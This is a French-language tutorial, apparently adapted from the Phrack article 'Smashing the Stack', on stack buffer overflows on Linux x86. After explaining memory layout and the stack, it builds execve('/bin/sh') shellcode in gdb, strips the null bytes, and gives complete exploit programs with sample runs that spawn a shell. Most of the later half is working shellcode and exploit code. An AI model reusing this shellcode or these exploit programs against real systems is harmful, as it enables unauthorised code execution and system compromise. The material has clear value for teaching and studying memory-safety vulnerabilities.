Buffer Overflow

> Smash the Stack for Fun and Profit (ed. Phrack #49)
> Buffer Overflows (ed. Oregon Graduate Institute of Science and Technology)

I/ Introduction

En quelques mois les buffer overflow on beaucoup attirer l'attention, c'est rapidement devenu incontournable dès que l'on parle de "hacking". On note des centaines d'exemple comme sendmail, mount (FreeBSD, Linux), des librairies...

Il faut avoir un minimum de bases en assembleur, et en C . Il faut aussi comprendre les concept de base de la mémoire, et une expérience avec gbd (un débuggeur de Linux) est la bienvenue.
On admettra aussi que vous avez un Intel, et que votre OS est Linux.

Avant de commencer, il vous faut savoir ce qu'est un buffer. Un buffer est une suite de block de la mémoire d'un ordinateur qui contient plus informations, de mêmes types. Les programmeurs en C, l'associerons sûrement avec l'instruction Buffer. Ces buffers, comme toutes les variables en C, peut être déclarée statique ou dynamique.
l'exploitation d'un buffer overflow consiste en une opération d'une grande précision où l'on tente d'overwriter l'image de %eip sauvegardée dans la stack, en tentant d'obliger une fonction vulnérable a écrire au-delà des limites d'un buffer loge dans le stack segment.
Nous nous intéresserons aux dynamic buffer overflow plus couramment appelés buffer overflow.

II/ L'organisation de la mémoire

Avant d'essayer de faire son buffer overflow, il faut savoir comment votre Pc gère sa mémoire. Un processus est divisé en 3 régions: text, data, et stack. Nous nous concentrerons essentiellement sur la dernière région, mais savoir ce que sont les autres régions ne nous fera pas de mal.

La région text est définie par le programme et son code. Cette région est normalement en read-only et quand on essayera d'écrire dessus on aura une segmentation fault.
La région data contient les variables du programme elle est plus ou moins grosse suivant les appel du programme. Si le programme appelle un fonction qui demande plus de mémoire qu'il n'y en a alors le programme se redémarrera avec plus de mémoire avant la stack.

Un petit schéma :

/------------------\ lower
                 | memory
| Text             | addresses
                 |
|------------------|
| (Initialized)    |
| Data             |
| (Uninitialized)  |
|------------------|
                 |
| Stack            | higher
                 | memory
\------------------/ addresses

III/ Qu'est ce qu'une stack ?

Une stack est une notion abstraite couramment utilisée en informatique. Une stack à la propriété que le dernier objet placé à l'intérieur sera le premier enlevé.
Plusieurs opérations sont définie dans la stack. Deux des plus importantes sont PUSH et POP. Push ajoute un élément à la fin de la stack. A l’inverse, Pop réduit la taille de la stack d'un en enlevant le dernier élément à la fin de la stack.

IV/ Pourquoi utilisons nous les stacks ?

Les PC modernes sont fait pour utiliser les meilleurs langages. Dans ces langages le plus important est la structure et pour cela on utilise une procédure ou fonction. Une stack est utilisée pour localiser dynamiquement les variables locales utilisées dans les fonctions, et retourner à cette dernière des valeurs.

Une stack est une partie de la mémoire qui contient des informations. Un registre appelé stack pointer (SP) pointe la fin de la stack. Le début de celle ci est a une adresse fixe. La taille est dynamiquement allouée par le 

noyau au lancement du programme.
Une stack peut décroître (va vers une adresse plus petite) ou bien croire, dans nos exemple la stack décroîtra, c'est comme cela quelle sur la plus part des PC comme Intel, Motorola et consors.
Le SP est aussi dépendant du type d'ordinateur, il peut pointer la dernière adresse de la stack, ou la première adresse libre après la stack. Pour nos exemple on admettra que le SP pointe sur la dernière adresse de la stack.
La plupart des PC utilisent un autre pointeur en plus du SP. Ce pointeur est le FP (Frame Pointer), il désigne la fin de la stack (l'adresse numérique la plus petite). Les PC l'utilisent pour référencer des variables ou des paramètres locaux car leur distance par rapport au FP ne changera avec l'utilisation des PUSH et des POP.

La première chose qu'un processus doit faire quand il est appelé est de sauvegarder le FP antérieur (pour pouvoir le restaurer à la fin).

Maintenant voyons à quoi une stack ressemble grâce à un code simple

example1.c

void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}  

Pour comprendre ce que le programme fait pour appeler la fonction (), on le compile en utilisant ggc et -S pour générer le code assembleur :

$ gcc -S -o example1.s example1.c

En regardant le code de l'assembleur on remarque que l'appel de la fonction est devenu :

pushl $3
pushl $2
pushl $1
call function

Il utilise Push pour pousser 3 argument à la fin de la stack et apres appelle la fonction. L'instruction "call" pousse le pointeur d'instruction (IP) sur le stack. On appelera l'IP sauvé l'adresse de retour (RET). La premiere chose faite dans l'instruction est est la procédure de prolog :

pushl %ebp
movl %esp,%ebp
subl $20,%esp

Cela pousse EBP , le FP, sur le stack. Il copie donc le SP dans EBP, le faisant devenir le nouveau FP pointeur. Nous appellerons le nouveau FP SFP. Cela crée donc de la place pour les variables locales.

Nous devons aussi penser que la mémoire ne peut être réservée que par multiple du mot. Je m'explique. Si on veut un buffer de 5 bytes et que notre "mot" est de 4 bytes alors le buffer prendra 8 bytes (2 mots) de mémoire. Il faut aussi garder en mémoire que notre stack ressemble à cela lorsque la fonction () est appelée (chaque espace représente un byte) :

bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

top of bottom of
stack stack 

V/ Buffer overflow

Un buffer overflow n'est que le résultat d'une action. Cela arrive quand on essaye de mettre plus d'information qu'il n'y a de place dans un buffer. Comment peut on tirer un quelconque avantage de cette faute de programmation? Regardez l'exemple suivant :

example2.c

void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}

Ce programme a une fonction, qui est une typique faute de programmation, un typique buffer overflow. La fonction copie une chaîne (string) sans vérifier les limites en utilisant strcpy() à la place de strncpy(). Si vous essayer de faire tourner ce programme, vous aurez une faute de segmentation.
Voyons à quoi ressemble la stack quand on appelle la fonction :

bottom of top of memory memory
buffer sfp ret *str
<------ [ ][ ][ ][ ]

top of bottom of
stack stack

On va expliquer ce qu'il se passe pendant l'exécution du programme. Strcpy () copie le contenu de *str (qui point vers larger_string) dans le buffer. Problème, le buffer fais 16 bytes de long, alors de larger_string en contient 256.... Ca signifie qu'il y a 250 bytes de trop, et donc que 250 bytes de la stck serons réécrites (overwrite : réécrite de force). Cela inclue SFP (le nouveau FP pour ceux qui on la mémoire courte) RET et même *str.... Larger_string a été remplie avec des 'A'. 'A' en hexadécimal c'est 0x41. Cela veut donc dire que notre adresse de retour est maintenant x41414141. C'est en dehors de la réserve de mémoire allouer au processus. C'est pour ça que quand votre fonction reviens et essaye de lire l'instruction suivante à cette adresse vous avez une faute de segmentation.

Un buffer overflow nous permet donc de changer l'adresse de retour d'une fonction. On pourra donc changer le flot d'instruction d'un programme. Revenons à notre premier programme et rappelons l'allure de la stack :

bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

top of bottom of
stack stack

On va essayer de modifier notre premier programme pour qu'il réécrive l'addresse de retour, et on va démontrer comment on pourra en faire un code arbitraire. Dans la stack juste avant le buffer1[ ] on voit le SFP, et avant l'adresse de retour. C'est 4 bytes après la fin du premier buffer. Mais il faut se rappeler que le buffer fait deux mots, donc 8 bytes, donc l'adresse de retour est 12 bytes après le début du premier buffer.
On va modifier la valeur de retour pour que cela devienne 'x = 1;' Après l'appel de la fonction on fera un saut.

example3.c

void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}

Ce que l'on a fait c'est ajouter 12 bytes à l'adresse du buffer1[ ]. Cette nouvelle adresse et l'emplacement ou l'adresse de retour est stockée. On voudrai faire sauter l'affectation vers l'appel de printf(). Comment peut on ajouter 8 à l'adresse de retour ? Pour cela on va compiler le programme et le passer au débuggeur.

[Acid]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop

On peut voir qu'a l'appel de la fonction () le ret sera 0x8004a8, et nous voudriez sauter l'allocation 0x8004ab. La prochaine instruction que l'on veut exécuter est celle au 0x8004b2. Un petit calcul nous dit qu'il y a 8 bytes entre les deux.

VI/ les shells

Maintenant, on sait modifier l'adresse de retour et le flot d'instruction, quel programme voulons nous exécuter ? Dans la plus part des cas on veut un shell. Depuis le shell on pourra alors exécuter les commandes que l'on veut. Mais comment faire s'il n'y a pas de tel programme dans notre exploit? Comment faire pour mettre des instructions arbitraire dans les adresses? La solution est de placer le code que l'on veut executer dans le buffer que l'on overflow et de réécrire sur le ret comme ça, ça repointe vers le buffer. Présumons que la stack commence à l'adresse 0xFF, et que S remplace le code que l'on veut exécuter. La stack ressemblerai alors à ceci :

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack

Le code pour nous donner un shell ressemble à ceci

shellcode.c

#include <stdio.h>
void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

Pour voir à quoi cela ressemble en assembleur on le compile et on redémarre GBD. Ne pas oublier d'utiliser -static. Sinon le système execve ne sera pas pris en compte, à la place on aura une référence à la librairie C qui est normalement chargée au démarrage du programme.

[Acid]$ gcc -o shellcode -ggdb -static shellcode.c
[Acid]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

On va essayer de comprendre ce qu'il ce passe. On commence par main

0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp

Ca c'est le prélude de la procédure. Tout d'abord il sauve l'ancien pointeur, fait du SP ne nouveau FP et libère de la place pour les variables locales. Dans ce cas :

char *name [2] ;

ou deux pointeur pour une instruction char. Les pointeurs sont des mots long, cela libère donc de la place pour deux mots (8 bytes).

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

On va copier la valeur 0x80027b8 (l'adresse de '/bin/sh') dans le premier pointeur de name [].

name [0] = "/bin/sh" ;

0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

On copie la valeur 0x0 (NULL) dans le deuxième pointeur de name [].

name [1] = NULL ;

L'appel d'execve () commence ici.

0x8000144 <main+20>: pushl $0x0

On fait un push sur l'execve () pour renverser l'ordre de la stack. On commence alors par NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

On charge l'adresse de name [] dans le registre EAX.

0x8000149 <main+25>: pushl %eax

On fait un push sur l'adresse de name [ ] sur la stack

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

On charge l'adresse de /bin/sh dans le registre EAX.

0x800014d <main+29>: pushl %eax

On fait un push sur l'adresse de /bin/sh sur la stack.

0x800014e <main+30>: call 0x80002bc <__execve>

Ceci appelle la fonction librairie execve (). L'appel de l'instruction fait un Push sur l'IP dans la stack.

Maintenant execve (). Gardez à l'esprit que nous utilisons, un Intel avec Linux. Les détails de l'appel change en fonction du processeur, mais aussi de l'OS. Certains mettrons les arguments dans la stack, d'autre dans les registres. Certains utilisent un interruption pour passer en mode kernel, d'autres utilisent un appel lointain. Linux passe ses arguments pour l'appel système dans les registres et utilise une interruption pour passer en mode kernel.

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

Le prélude de la procédure...

0x80002c0 <__execve+4>: movl $0xb,%eax

Copie 0xb (11 en decimal) dans la stack. C'est l'index dans la table des appels. 11 est execve

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

Copie l'adresse de /bin/sh dans EBX

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

Copie l'adresse de name [] dans ECX

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

Copie l'adresse du pointeur NULL dans EDX

0x80002ce <__execve+18>: int $0x80

Passe en mode kernel

Donc comme on peut le voir on ne doit pas beaucoup à execve (). Tout ce dont on a besoin c'est :
- Avoir quelques part dans la mémoire la chaîne /bin/sh terminée par null.
- Avoir l'adresse de la chaîne /bin/sh quelques part dans la mémoire suivit d'un long mot null.
- copier 0xb dans le registre EAX
- Copier l'adresse de l'adresse de la chaîne /bin/sh dans le registre EBX
- Copier l'adresse de la chaîne /bin/sh dans le registre ECX
- Copier l'adresse du long mot null dans le registre EDX
- Exécuter l'instruction (entière courte) $0x80

Mais que ce passerai t il si l'appel d'execve ( ) lâchait pour quelques raisons ? Le programme continuerai a aller chercher des instructions dans la stack qui contient qui contient un nombre aléatoire de données ! Ce programme ferai la plus part du temps un core dump. Nous voudrions que le programme se termine sans problème si l'appel système d'execve ratai. Pour cela on va rajouter un appel système de sortie ('exit') après celui d'execve. A quoi ressemble un appel de sortie ?

exit.c

#include <stdlib.h>

void main() {
exit(0);
}

/*----------------------------------- Cut here ---------------------------------*/

[Acid]$ gcc -o exit -static exit.c
[Acid]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

/*---------------------------------- Cut here ----------------------------------*/

L'appel système 'exit' va mettre 0x1 dans l'EAX, et met le code de sortie dans l'EBX, et exécute "int 0x80". La plus part des applications retournent 0 lors de la sortie pour indiquer qu'il n'y a pas eu d'erreur. On aura donc un 0 dans EBX. Notre liste d'étape est maintenant :

- Avoir quelques part dans la mémoire la chaine /bin/sh terminée par null
- Avoir l'adresse de la chaine /bin/sh quelques part dans la mémoire suivit d'un long mot null
- copier 0xb dans le registre EAX
- Copier l'adresse de l'adresse de la chaîne /bin/sh dans le registre EBX
- Copier l'adresse de la chaîne /bin/sh dans le registre ECX
- Copier l'adresse du long mot null dans le registre EDX
- Exécuter l'instruction (entière courte) $0x80
- Copier 0x1 dans le registre EAX
- Copier 0x0 dans le registre EBX
- Exécuter l'instruction (entière courte) $0x80

movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.

Le problème est que nous ne savons où dans la mémoire le programme que nous essayons d'exploiter (ainsi que la chaîne qui le suit) sera placé. La seule façon de contourner se problème et d'utiliser une instruction jump et une instruction call. Le JMP et le Call peuvent utiliser adresse relative ip, ce qui veut dire qu'on peut sauter vers une adresse sans savoir sa valeur. Si nous plaçons une instructions call juste devant la chaîne "/bin/sh " et que l'on fait un jump vers celle ci, l'adresse de la chaîne sera poussée dans la stack quand call sera exécutée. Tout ce que nous avons a faire est de copier l'adresse de retour dans un registre. L'instruction CALL peut simplement appeler le début de notre code. Admettons que J siot l'instruction jump, C soit call, et s la chaîne. Le flots d'instruction sera de la forme suivante :

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack

Avec ces modifications, en utilisant une adresse indexée, et mettant la taille de chaque instruction notre code deviens :

jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here. 

En calculant les déplacements de jmp à call, de call à popl, des chaînes d'adresse aux tableaux, etc. on obtient :

jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes 

Ca a l'air pas mal. Pour être sur qu'il marche normalement, il faut le compiler et le démarrer. Mais il y a un problème, notre code se modifie lui même, mais la plus part des OS marquent les codes en read-only. Pour éviter cette restriction nous devrons le placer dans une stack, ou un segment d'informations et lui transférer le contrôle. Mais nous devons d'abord avoir une représentation hexadécimale du code. Compilons le et après utilisons gdb pour le faire.

shellcodeasm.c

void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");

[Acid]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[Acid]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.

/*---------------------------------- Cut here ----------------------------------*/

testsc.c

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

[Acid]$ gcc -o testsc testsc.c
[Acid]$ ./testsc
$ exit
[Acid]$
/*---------------------------------- Cut here ----------------------------------*/

Ca fonctionne ! Mais il reste un obstacle. Dans la plupart des cas on va essayer de faire un overflow sur un buffer de caractère. Donc, dès qu'il y aura un byte null dans notre code il sera considéré comme la fin de la chaîne et le copiage se terminera. Il ne doit donc pas y avoir de byte null dans notre code pour que l'exploit marche. Essayons d'éliminer les bytes null et de le faire plus petit.

Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

shellcodeasm2.c

void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}

Notre nouveau programme de test

testsc2.c

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

} 

/*---------------------------------- Cut here ----------------------------------*/
[Acid]$ gcc -o testsc2 testsc2.c
[Acid]$ ./testsc2
$ exit
[Acid]$
/*---------------------------------- Cut here ----------------------------------*/

VII/ Comment écrire un exploit

Mettons toutes nos pièces ensemble. On a un shell code. On sait qu'il doit faire partie de la chaîne que l'on utilisera pour faire l'overflow du buffer. On sait qu'on doit pointer l'adresse de retour dans le buffer.
Cet exemple va démontrer tous ces points.

overflow1.c

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}  

/*----------------------------------- Cut here ---------------------------------*/
[Acid]$ gcc -o exploit1 exploit1.c
[Acid]$ ./exploit1
$ exit
exit
[Acid]$
/*----------------------------------- Cut here --------------------------------
*/ 

Ce que nous avons fait ici c'est remplir le tableau large_string[] avec l'adresse du buffer [] où sera situé notre code. Après on copie le shell code au début de la chaîne large_string. strcpy () va alors copier large_string dans le buffer [] sans faire attention aux limites, et va donc faire un overflow sur l'adresse de retour, à la place il va mettre l'adresse de notre code. Dès qu'il a fini, il fait un jump vers l'adresse de retour qui pointe vers notre code, qui exécute un shell.

Mais on rencontre un petit problème quand on essaye de faire un buffer overflow c'est qu'un autre programme est peut être là ou devrait être notre buffer (et donc, notre code). La solution est que pour tous les programmes la stack démarre au même endroit. La plupart des programmes ne pousses pas de plus de quelques dizaines, voir quelques centaines de bytes dans la stack en une fois. Donc en sachant ou commence la stack, on peut deviner où est le buffer sur lequel on essaye un overflow. Voici un petit programme qui nous montre ou est le stack pointer

sp.c
 
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
} 

/*---------------------------------- Cut here ----------------------------------*/
[Acid]$ ./sp
0x8000470
[Acid]$
/*---------------------------------- Cut here ----------------------------------*/

Admettons que le programme sur lequel on tente l’overflow

vulnerable.c

void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}

Maintenant on peut essayer de faire un programme qui prends comme paramètres la taille du buffer, et un offset de son propre SP. Nous mettrons l'overflow dans un environnement variable, comme cela ce sera facile a manipuler.

exploit2.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}  

Maintenant il faut essayer de deviner ce que sont le buffer et l'offset

[Acid]$ ./exploit2 500
Using address: 0xbffffdb4
[Acid]$ ./vulnerable $EGG
[Acid]$ exit
[Acid]$ ./exploit2 600
Using address: 0xbffffdb4
[Acid]$ ./vulnerable $EGG
Illegal instruction
[Acid]$ exit
[Acid]$ ./exploit2 600 100
Using address: 0xbffffd4c
[Acid]$ ./vulnerable $EGG
Segmentation fault
[Acid]$ exit
[Acid]$ ./exploit2 600 200
Using address: 0xbffffce8
[Acid]$ ./vulnerable $EGG
Segmentation fault
[Acid]$ exit
.
.
.
[Acid]$ ./exploit2 600 1564
Using address: 0xbffff794
[Acid]$ ./vulnerable $EGG
$ 

